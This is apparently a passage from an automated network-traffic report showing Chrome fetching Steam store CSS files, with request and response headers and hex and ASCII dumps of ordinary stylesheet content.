2024-10-06 12:08:21 UTC	15837	IN	Data Raw: 65 6e 75 5f 70 75 6c 6c 64 6f 77 6e 5f 69 6e 64 69 63 61 74 6f 72 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 70 6f 70 75 70 73 2f 62 74 6e 5f 61 72 72 6f 77 5f 64 6f 77 6e 2e 70 6e 67 27 20 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 09 77 69 64 74 68 3a 20 39 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 34 70 78 3b 0d 0a 7d 0d 0a 23 61 64 6d 69 6e 5f 64 72 6f 70 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 Data Ascii: enu_pulldown_indicator {display: inline-block;background-image: url( 'https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down.png' );vertical-align: middle;width: 9px;height: 4px;}#admin_drop { border-radius
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 73 5f 36 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 31 39 32 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 37 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 32 34 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 38 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 35 36 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 39 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 38 38 70 78 3b 0d 0a 7d 0d 0a 0d Data Ascii: s_60 {background-position: 0 -192px;}.friendPlayerLevel.lvl_plus_70 {background-position: 0 -224px;}.friendPlayerLevel.lvl_plus_80 {background-position: 0 -256px;}.friendPlayerLevel.lvl_plus_90 {background-position: 0 -288px;}
2024-10-06 12:08:21 UTC	951	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 63 30 66 34 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 2c 20 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 32 3b 0d 0a 7d 0d 0a 0d 0a 61 2e 70 61 67 65 6c 69 6e 6b 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 09 63 6f 6c 6f 72 Data Ascii: rder-color: #66c0f4;color: #fff;text-decoration: none;}.pagebtn.disabled, .pagebtn.disabled:hover, a.pagebtn.disabled, a.pagebtn.disabled:hover {cursor: default;opacity: 0.2;}a.pagelink:hover {text-decoration: underline;color
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 42 44 46 0d 0a 64 72 6f 70 64 6f 77 6e 20 2e 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 37 33 64 34 34 3b 0d 0a 7d 0d 0a 0d 0a 23 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 64 72 6f 70 64 6f 77 6e 20 2e 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 2e 61 63 74 69 76 65 5f 69 6e 62 6f 78 5f 69 74 65 6d 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 30 62 61 32 34 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 74 6e 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 65 6c 6c 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: 00004BDFdropdown .popup_menu_item:hover {color: #ffffff;background-color: #373d44;}#header_notification_dropdown .popup_menu_item.active_inbox_item {color: #70ba24;}.header_notification_btn.header_notification_bell {display: bloc
2024-10-06 12:08:21 UTC	3051	IN	Data Raw: 66 66 66 3b 0d 0a 7d 0d 0a 2e 4d 6f 64 65 72 6e 42 42 53 74 79 6c 65 73 20 61 2e 62 62 5f 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 62 63 64 32 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 73 70 61 6e 2e 62 62 5f 73 74 72 69 6b 65 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6c 69 6e 65 2d 74 68 72 6f 75 67 68 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 62 62 5f 70 75 6c 6c 71 75 6f 74 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 7d 0d 0a 0d 0a 73 70 61 6e 2e 62 62 5f 6c 69 6e 6b 5f 68 6f 73 74 20 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 65 38 33 39 31 3b 0d 0a 09 70 61 64 64 Data Ascii: fff;}.ModernBBStyles a.bb_link { color: #80bcd2;}span.bb_strike {text-decoration: line-through;}div.bb_pullquote { font-size: 18px; font-weight: 600;}span.bb_link_host {font-size: 10px;color: #7e8391;padd
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 52 47 56 79 61 58 5a 6c 5a 45 5a 79 62 32 30 67 63 33 52 53 5a 57 59 36 61 57 35 7a 64 47 46 75 59 32 56 4a 52 44 30 69 65 47 31 77 4c 6d 6c 70 5a 44 6f 35 51 30 4d 33 4d 45 55 31 4d 7a 49 78 51 7a 51 78 4d 55 55 30 4f 54 56 45 52 55 55 34 4e 45 45 31 52 54 6c 47 4d 44 59 78 52 69 49 67 63 33 52 53 5a 57 59 36 5a 47 39 6a 64 57 31 6c 62 6e 52 4a 52 44 30 69 65 47 31 77 4c 6d 52 70 5a 44 6f 35 51 30 4d 33 4d 45 55 31 4e 44 49 78 51 7a 51 78 4d 55 55 30 4f 54 56 45 52 55 55 34 4e 45 45 31 52 54 6c 47 4d 44 59 78 52 69 49 76 50 69 41 38 4c 33 4a 6b 5a 6a 70 45 5a 58 4e 6a 63 6d 6c 77 64 47 6c 76 62 6a 34 67 50 43 39 79 5a 47 59 36 55 6b 52 47 50 69 41 38 4c 33 67 36 65 47 31 77 62 57 56 30 59 54 34 67 50 44 39 34 63 47 46 6a 61 Data Ascii: 00004000RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo5Q0M3MEU1MzIxQzQxMUU0OTVERUU4NEE1RTlGMDYxRiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5Q0M3MEU1NDIxQzQxMUU0OTVERUU4NEE1RTlGMDYxRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja
2024-10-06 12:08:21 UTC	12	IN	Data Raw: 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 0d 0a Data Ascii: ;}.c
2024-10-06 12:08:21 UTC	4369	IN	Data Raw: 30 30 30 30 31 31 30 35 0d 0a 68 69 6e 61 5f 66 6f 6f 74 65 72 5f 6c 65 67 61 6c 5f 63 74 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 68 69 6e 61 5f 66 6f 6f 74 65 72 5f 6c 6f 67 6f 73 20 69 6d 67 20 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 36 70 78 3b 0d 0a 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 74 6f 70 3b 0d 0a 7d 0d 0a 0d 0a 2e 67 70 6e 61 76 3a 66 6f 63 75 73 0d 0a 7b 0d 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 34 70 78 20 73 6f 6c 69 64 20 62 6c 75 65 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 32 70 78 20 69 6e 73 65 74 20 23 30 30 30 30 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 46 6f 72 20 44 61 74 65 20 70 69 63 6b 65 72 73 20 73 Data Ascii: 00001105hina_footer_legal_ctn { margin-top: 20px;}.china_footer_logos img { width: 96px; vertical-align: top;}.gpnav:focus{ outline: 4px solid blue; box-shadow: 0 0 2px inset #0000ff;}/* For Date pickers s
2024-10-06 12:08:21 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49727	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	560	OUT	GET /public/shared/css/buttons.css?v=6PFqex5UPprb&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:20 UTC	340	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "6PFqex5UPprb" Server: nginx Content-Type: text/css;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15552000 Expires: Fri, 04 Apr 2025 12:08:20 GMT Date: Sun, 06 Oct 2024 12:08:20 GMT Content-Length: 33528 Connection: close
2024-10-06 12:08:20 UTC	16044	IN	Data Raw: 2e 62 74 6e 5f 67 72 65 65 6e 5f 77 68 69 74 65 5f 69 6e 6e 65 72 66 61 64 65 20 7b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 70 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 44 32 45 38 38 35 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 61 34 64 30 30 37 3b 0d 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 Data Ascii: .btn_green_white_innerfade {border-radius: 2px;border: none;padding: 1px;display: inline-block;cursor: pointer;text-decoration: none !important;color: #D2E885 !important;background: #a4d007;background: -webkit-linear-grad
2024-10-06 12:08:20 UTC	16384	IN	Data Raw: 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 7d 0d 0a 0d 0a 09 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 20 3e 20 73 70 61 6e 20 7b 0d 0a 09 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 0d 0a 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 3b 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 09 7d 0d 0a 0d 0a 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 3a 6e 6f 74 28 2e 62 74 Data Ascii: !important;background: transparent;}.btnv6_white_transparent > span {border-radius: 2px;display: block;background: transparent;border: 1px solid rgba(255,255,255,0.4);border-radius: 2px;}.btnv6_white_transparent:not(.bt
2024-10-06 12:08:20 UTC	1100	IN	Data Raw: 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 62 75 74 74 6f 6e 73 2f 69 63 6f 6e 5f 64 6f 75 62 6c 65 5f 61 72 72 6f 77 73 2e 70 6e 67 27 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 5f 61 72 72 6f 77 2e 75 70 0d 0a 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 70 78 20 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 3a 6e 6f 74 28 2e 62 74 6e 5f 64 69 73 Data Ascii: x;height: 16px;background-image:url('https://store.akamai.steamstatic.com/public/shared/images/buttons/icon_double_arrows.png');vertical-align: middle;}.btn_details_arrow.up{background-position: 0px 0px;}.btn_details:not(.btn_dis

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49724	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	554	OUT	GET /public/css/v6/store.css?v=z0n7Kqde-Ths&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:21 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rzrd3uCdRpEQ" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 12:08:21 GMT Date: Sun, 06 Oct 2024 12:08:21 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:21 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2a 20 7b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 0d 0a 69 6d 67 20 7b 0d 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 61 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2e 61 3a 66 6f 63 75 73 20 7b 0d 0a 09 6f 75 74 6c 69 6e 65 3a 20 30 70 78 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 61 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 63 30 66 34 3b 0d 0a 7d 0d 0a 0d 0a 61 2e 6e 6f 68 6f 76 65 72 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 Data Ascii: 0000C000* {padding: 0;margin: 0;}img {border: none;}a {text-decoration: none;color: #ffffff;}.a:focus {outline: 0px none;}a:hover {text-decoration: none; color: #66c0f4;}a.nohover:hover {t
2024-10-06 12:08:21 UTC	15849	IN	Data Raw: 2d 72 6f 77 73 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 69 6d 67 20 69 6d 67 20 6e 61 6d 65 20 6e 61 6d 65 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 69 6d 67 20 69 6d 67 20 70 72 69 63 65 20 70 72 69 63 65 22 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 75 6e 73 65 74 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0d 0a 7d 0d 0a 2e 70 6f 70 75 70 5f 62 6f 64 79 2e 73 65 61 72 63 68 5f 76 32 20 2e 6d 61 74 63 68 2e 6d 61 74 63 68 5f 76 32 20 2e 6d 61 74 63 68 5f 6e 61 6d 65 20 7b 0d 0a 20 20 20 20 67 72 69 64 2d 61 72 65 61 3a 20 6e 61 6d 65 3b 0d 0a 20 20 Data Ascii: -rows: auto; grid-template-areas: "img img name name" "img img price price"; height: unset; transition: background 0.2s ease-in-out;}.popup_body.search_v2 .match.match_v2 .match_name { grid-area: name;
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 73 74 6f 72 65 5f 63 61 70 73 75 6c 65 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 68 6f 6d 65 5f 6d 61 72 6b 65 74 69 6e 67 5f 6d 65 73 73 61 67 65 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 73 74 6f 72 65 5f 63 61 70 73 75 6c 65 2e 62 72 6f 61 64 63 61 73 74 5f 63 61 70 73 75 6c 65 3a 68 6f 76 65 72 20 63 20 7b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 61 6e 69 6d 61 74 65 50 72 69 63 65 31 31 64 65 67 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 6d 61 6c 6c 5f 63 61 70 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f Data Ascii: over .additional_cart_discount,.store_capsule:hover .additional_cart_discount,.home_marketing_message:hover .additional_cart_discount,.store_capsule.broadcast_capsule:hover c {animation-name: animatePrice11deg;}.small_cap:hover .additional_
2024-10-06 12:08:21 UTC	939	IN	Data Raw: 0a 09 7b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 30 64 65 67 29 20 73 63 61 6c 65 28 2e 33 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 32 30 25 0d 0a 09 7b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 33 36 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 34 30 25 0d 0a 09 7b 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 37 32 30 64 65 67 29 20 73 63 61 6c 65 28 2e 33 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 31 30 30 25 0d 0a 09 7b 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 37 32 Data Ascii: {opacity: 0;transform: rotateZ(0deg) scale(.3);}20%{opacity: 1;transform: rotateZ(360deg) scale(1);}40%{ opacity: 0;transform: rotateZ(720deg) scale(.3);}100%{ opacity: 0;transform: rotateZ(72
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 59 65 6c 6c 6f 77 74 61 69 6c 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 38 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 46 42 46 36 46 30 3b 0d 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 32 70 78 20 33 70 78 20 30 70 78 20 23 44 33 35 31 31 30 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 75 6d 6d 65 72 73 61 6c 65 32 30 32 30 5f 73 75 70 65 72 73 61 76 69 6e 67 73 5f 6c 61 62 65 6c 0d 0a 7b 0d 0a 09 77 69 64 74 68 3a 20 66 69 74 2d 63 6f 6e 74 65 6e 74 Data Ascii: 00004000font-family: "Yellowtail", sans-serif;font-style: normal;font-weight: normal;font-size: 38px;color: #FBF6F0;text-shadow: 2px 3px 0px #D35110;text-align: center;}.summersale2020_supersavings_label{width: fit-content
2024-10-06 12:08:21 UTC	12	IN	Data Raw: 69 64 74 68 3a 20 31 30 30 25 0d 0a Data Ascii: idth: 100%
2024-10-06 12:08:21 UTC	7686	IN	Data Raw: 30 30 30 30 31 44 46 41 0d 0a 3b 20 2f 2a 20 52 65 64 75 6e 64 61 6e 74 20 3f 3f 20 2a 2f 0d 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 33 30 30 6d 73 3b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 72 65 65 6e 73 68 6f 74 5f 68 6f 76 65 72 5f 66 61 64 65 69 6e 20 34 73 20 6c 69 6e 65 61 72 3b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 6f 76 65 72 5f 73 63 Data Ascii: 00001DFA; /* Redundant ?? */height: 100%;background-size: cover;background-position: center center;opacity: 0;transition: opacity 300ms;animation: screenshot_hover_fadein 4s linear;animation-iteration-count:infinite;}.hover_sc
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 72 65 73 68 5f 62 74 6e 0d 0a 7b 0d 0a 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 64 71 5f 69 74 65 6d 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 38 70 78 20 30 20 23 30 30 30 30 30 30 3b 0d 0a 7d 0d 0a 2e 64 71 5f 69 74 65 6d 2c 0d 0a 2e 64 71 5f 69 74 65 6d 20 64 69 76 2c 0d 0a 2e 64 71 5f 69 74 65 6d 20 69 6d 67 20 7b 0d 0a 09 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 20 20 2f 2a 20 43 68 72 6f 6d 65 20 61 6c 6c 20 2f 20 53 61 66 61 72 69 20 61 6c 6c 20 2a 2f 0d 0a 09 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 20 20 20 20 20 2f 2a 20 46 69 Data Ascii: 00004000resh_btn{padding-top: 20px;}.dq_item {position: absolute;box-shadow: 0 0 8px 0 #000000;}.dq_item,.dq_item div,.dq_item img {-webkit-user-select: none; /* Chrome all / Safari all /-moz-user-select: none; / Fi
2024-10-06 12:08:21 UTC	12	IN	Data Raw: 5f 63 6c 75 73 74 65 72 5f 63 0d 0a Data Ascii: _cluster_c
2024-10-06 12:08:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 6e 74 65 6e 74 20 2e 63 6c 75 73 74 65 72 5f 63 61 70 73 75 6c 65 5f 69 6d 61 67 65 20 7b 0d 0a 09 77 69 64 74 68 3a 20 36 31 36 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 33 35 33 70 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 0d 0a 2e 6d 61 69 6e 5f 63 6c 75 73 74 65 72 5f 63 6f 6e 74 65 6e 74 20 2e 63 6c 75 73 74 65 72 5f 63 61 70 73 75 6c 65 20 2e 64 73 5f 66 6c 61 67 20 7b 0d 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 36 70 78 20 30 20 23 30 30 30 30 30 30 3b 0d 0a 7d 0d 0a 0d 0a 2e 6d 61 69 6e 5f 63 6c 75 73 74 65 72 5f 63 6f 6e 74 65 6e 74 20 2e 63 6c 75 73 74 65 72 5f 6d 61 69 6e 63 61 70 5f 66 69 6c 6c 20 7b 0d 